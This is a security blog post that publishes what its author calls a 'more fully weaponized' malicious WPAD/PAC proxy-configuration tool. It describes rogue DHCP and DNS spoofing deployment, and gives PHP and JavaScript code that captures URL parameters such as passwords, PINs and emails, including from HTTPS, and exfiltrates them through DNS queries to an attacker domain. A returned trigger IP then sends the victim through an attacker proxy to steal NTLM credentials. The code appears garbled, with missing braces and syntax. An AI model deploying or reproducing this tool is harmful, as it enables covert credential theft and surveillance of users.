Thursday, July 28, 2016

Intercepting SSL and more with WPAD

This morning I read Sniffing HTTPS URLS with malicious PAC files by Alex Chapman and Paul Stone. It's an excellent summary of a key problem with PAC files, mainly that its a JavaScript file delivered by HTTP with well-known techniques to push to unsuspecting clients, and that this script has full access to all URLs - including the content of SSL URLs. Chapman and Stone demonstrate a simple technique to exfiltrate the SSL URLs via DNS. Since the technique is now public, I'm publishing my findings and code from 2007 as a more fully weaponized tool that allows selective targeting and exfiltration of URL (including SSL URL) values.

Note: The code and description below were written circa 2007. They may not apply to the latest browser engines, or may need a few tweaks first. Some enhancements that can be done via this code (and some other blog posts I've made):

  • There are a lot of ways to get a PAC file onto a device, with DHCP option 252 being one of the most useful in forcing many clients to accept it.
  • The sample code below allows targeted exfiltration of selectors such as usenames and based on those, allows a specific user to be targeted for full proxying of all traffic on command. 
  • Because the browser is aware of the proxy in this case, you can use this technique to silently steal the system credentials and identification.



  • Web Proxy Auto Discovery (WPAD) is a system to automatically discover when a proxy server should be used by a client.
  • Configuration is done via a JavaScript file - normally delivered via HTTP –that can be announced via DNS entries (e.g., DHCP option 252, or configured manually. 
  • Used by client to selectively proxy HTTP communications based on:
    • Time/dateClient IP address
    • Destination host name
    • Destination URL
    • Protocol (HTTP or HTTPS – FTP?)
  • When in use, the host and full URL for each webpage is passed through a function called FindProxyForURL() that returns a value to the browser for how the browser should connect to that resource (e.g. DIRECT, PROXY, or SOCKS) and which proxy to use.

The WPAD JavaScript has access to two important capabilities that JavaScript normally doesn’t have:
  • myIpAddress() – Returns an array of local IP addresses assigned to the computer
  • dnsResolve() – Returns the IP address as a string of the domain entry given

The attacks

All attacks here are predicated on deploying the WPAD configuration. This can be done in practical situations by:
  • Running a computer named “wpad” inside a target network
  • Spoofing DNS responses (ARP spoofing, man on the side attacks)
  • Registering a domain (e.g.,,
  • Poisoning a DNS cache
  • Running a rogue DHCP server (either to manipulate DNS or inserting DHCP option 252)

Identify internal IP addresses using myIpAddress()
  • Force a WPAD client to make internal DNS requests and get the responses (e.g. router, Admin-PC, fritzbox.lan,, mail, webmail)

Steal any information from URLs – including HTTPS (e.g. https://webmail/login?u=bob&p=123)

  • Use keyword matches in URLs to selectively redirect certain traffic through an attacker-controlled proxy server.

Leverage selective proxy to enable proxy-specific attacks to steal usernames, computername, domain and NTLM credentials.

The attack in a nutshell

  1. Client does DNS query for WPAD.XYZ.COM or gets a WPAD URL via DHCP
  2. Client requests
  3. Server adds custom JS variables to the wpad.dat file (e.g. public IP, unique ID) and returns it
  4. Client browser begins passing each URL through FindProxyForURL() function.
  5. On the first run of FindProxyForURL, the WPAD script runs a survey of common hostnames (router, printer, admin-PC, firewall, nas, fritzbox.lan, to fingerprint the environment. The local IP address is saved as a variable.
  6. Each URL used by the browser is passed through FindProxyForURL. Each GET key-value pair is compared against a list of targeted data. If the key is on the list, the key-value pair is added to a message for exfiltration. (e.g.
  7. The exfiltration script combines the internal IP, external IP, web host, key and value together into a message, encodes it, and exfiltrates it via one or more DNS queries. (e.g.| ||gxlu|vlad.putin becomes
  8. The attacker DNS server receives the message, decodes it. If the value is not of interest, the attacker DNS server responds with an innocuous IP address. If the value is of interest, a pre-determined “trigger IP” is returned as the response.

If the “trigger IP” is seen in the response, the WPAD script decides to automatically forward all future traffic to an attacker chosen proxy for the duration of the browsing session.

If the target is of interest, a single request can be proxied, and the attacker proxy can respond with a 407 Proxy Authentication Required response with only NTLM accepted. Because the client browser is using a non-transparent proxy, most browsers will automatically negotiate authentication with the currently logged-in user’s credentials. The attacker now is able to get the currently logged in username, computer name, domain/workgroup name, and NTLM challenge-responses for a challenge chosen by the attacker.

A successful attack would allow an attacker to silently deploy the configuration which is not saved to disk, selectively extract sensitive URL variables from all web browsing sessions (SSL included), identify select internal IP addresses from internal DNS lookups, selectively target certain devices for proxy redirection, and selectively gather system usernames, computernames, domains and password hashes – all while never leaving a file on the computer and controlling everything via DNS requests and responses.

Example Code

Code for internal survey seems to be missing. By analyzing the DNS responses for certain names you can easily fingerprint the type of router (fritzbox.lan, or even security tools used (for those redirecting DNS responses. I will update this blog post if I can find the old code.

header("Content-Type: application/x-ns-proxy-autoconfig"); //Required mime type

function ip2dec($ipaddr) {
  $decimal=(double) $base[0]*16777216;
  if($decimal>2147483647) {
  return (int) $decimal;

//Set a javascript variable with a b36 encoded form of the requesting (external) IP for callback tracking
$exip = base_convert(ip2dec($_SERVER["HTTP_CLIENT_IP"]),10,36);

//Set a javascript variable with a b36 encoded form of the X-Forward-IP list.
$xfwproxy = "";
foreach (explode(",",$_SERVER["HTTP_X_FORWARDED_FOR"]) as $ip) {
if ($xfwproxy != "") { $xfwproxy += base_convert(ip2dec($ip),10,36) + "-"; }; 
if ($xfwproxy == "") {$xfwproxy = "0";};

echo "var eip=\"$exip\";\n";
echo "var pip=\"$xfwproxy\";\n";
echo "var tip=\"\"\n"; //Returned IP triggers full proxy mode
var proxyVal = "DIRECT;";
var dns=""; //Domain to exfiltrate to

//TODO: DNS survey array and function

function testMe(data)
var edata = base36.ascii.encode(data);
dnsResolve(edata + "." + dns);

function testRaw(data)
dnsResolve(data + "." + dns);


function cRand(dot) {
var d = dot.split('.');
return ((((((+d[0])*256)+(+d[1]))*256)+(+d[2]))*256)+(+d[3]);

base36 = {
  encode: function(str, separator)""+(str||""), function(c) c.charCodeAt(0).toString(36)).join(separator||"\u200b"),
  decode: function(str, separator)
    (""+(str||"")).split(separator||"\u200b").map(function(s) String.fromCharCode(parseInt(s, 36))).join(""),
  ascii: {
    encode: function(str)""+(str||""), function(c) {
        var b36 = base36.encode(c, "");
        if (b36.length === 1)
          b36 = "0" + b36;
        return b36;

    decode: function(str)
      (""+(str||"")).replace(/[a-z0-9]{2}/gi, function(s) base36.decode(s))

var tv = ["roomnr","roomnumber","_address","aimsid","CUSTOMERNO","nickname","user","username","userid","gxlu","fullname","firstname","lastname","fname","lname","password","password","pass","passport","account","phone","tel","telephone","msisdn","imei","imsi","fromId","payload","tanmsisdn","pin","tan","hostname","email"];

function gup(u,n)
  n = n.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
  var regexS = "[\\?&]"+n+"=([^&#]*)";
  var regex = new RegExp( regexS );
  var results = regex.exec(u);
  if( results == null )
    return "";
    return results[1];

function rp(q)
sizeLimit = 62; //Max number of exfil data characters per message

//var rq = e64(q); //base64 works only if DNS passes case sensitive chars. Some don't.
var rq = base36.ascii.encode(q); //Use base36 if DNS is not passing upper/lower chars

rn = ((Math.random()*100)^10).toString(36).substring(0,1); //Insert one random character to offset the data by 7-bits to obscure it from decoding

var msgGroup = [];
//Split the message into appropriate sized chunks
thisPacket = rn + rq.substring(0,sizeLimit); //Get the max number of characters to fill 'thisPacket'
rq = rq.substring(sizeLimit); //Send the leftovers back to 'rq'
msgGroup.push(thisPacket); //Push the extracted data 'thisPacket' to the exfil array
while (rq.length > 0);

var id = ((Math.random()*10000000)^1000000).toString(36); //Random ID to prevent collisions with more than one multi-part message
var i = 0; //Message number
var o = msgGroup.length; //Total messages

iip = cRand(myIpAddress());
if (isNaN(iip)) iip = 0;
iip = iip.toString(36);

var ret = "";

for (i=0;i<o;i++)
rpd =  msgGroup[i] + "." + i + "." + (o-1) + "." + id + "." + iip + "." + pip + "." + eip + "." + dns;
ret = dnsResolve(rpd); //Exfil occurs here
if (ret == tip){ //Special return IP triggers proxy services for this computer
proxy = dnsResolve("p." + dns); //
proxyVal = "PROXY " + proxy + ":80; DIRECT;"

function FindProxyForURL(url, host)
for(var i in tv)
t = tv[i];
if ( shExpMatch(url, "*" + t + "=*") )
v = gup( url, t);
if ( v != "")
x = host + "|" + t + "|" + v;
return proxyVal;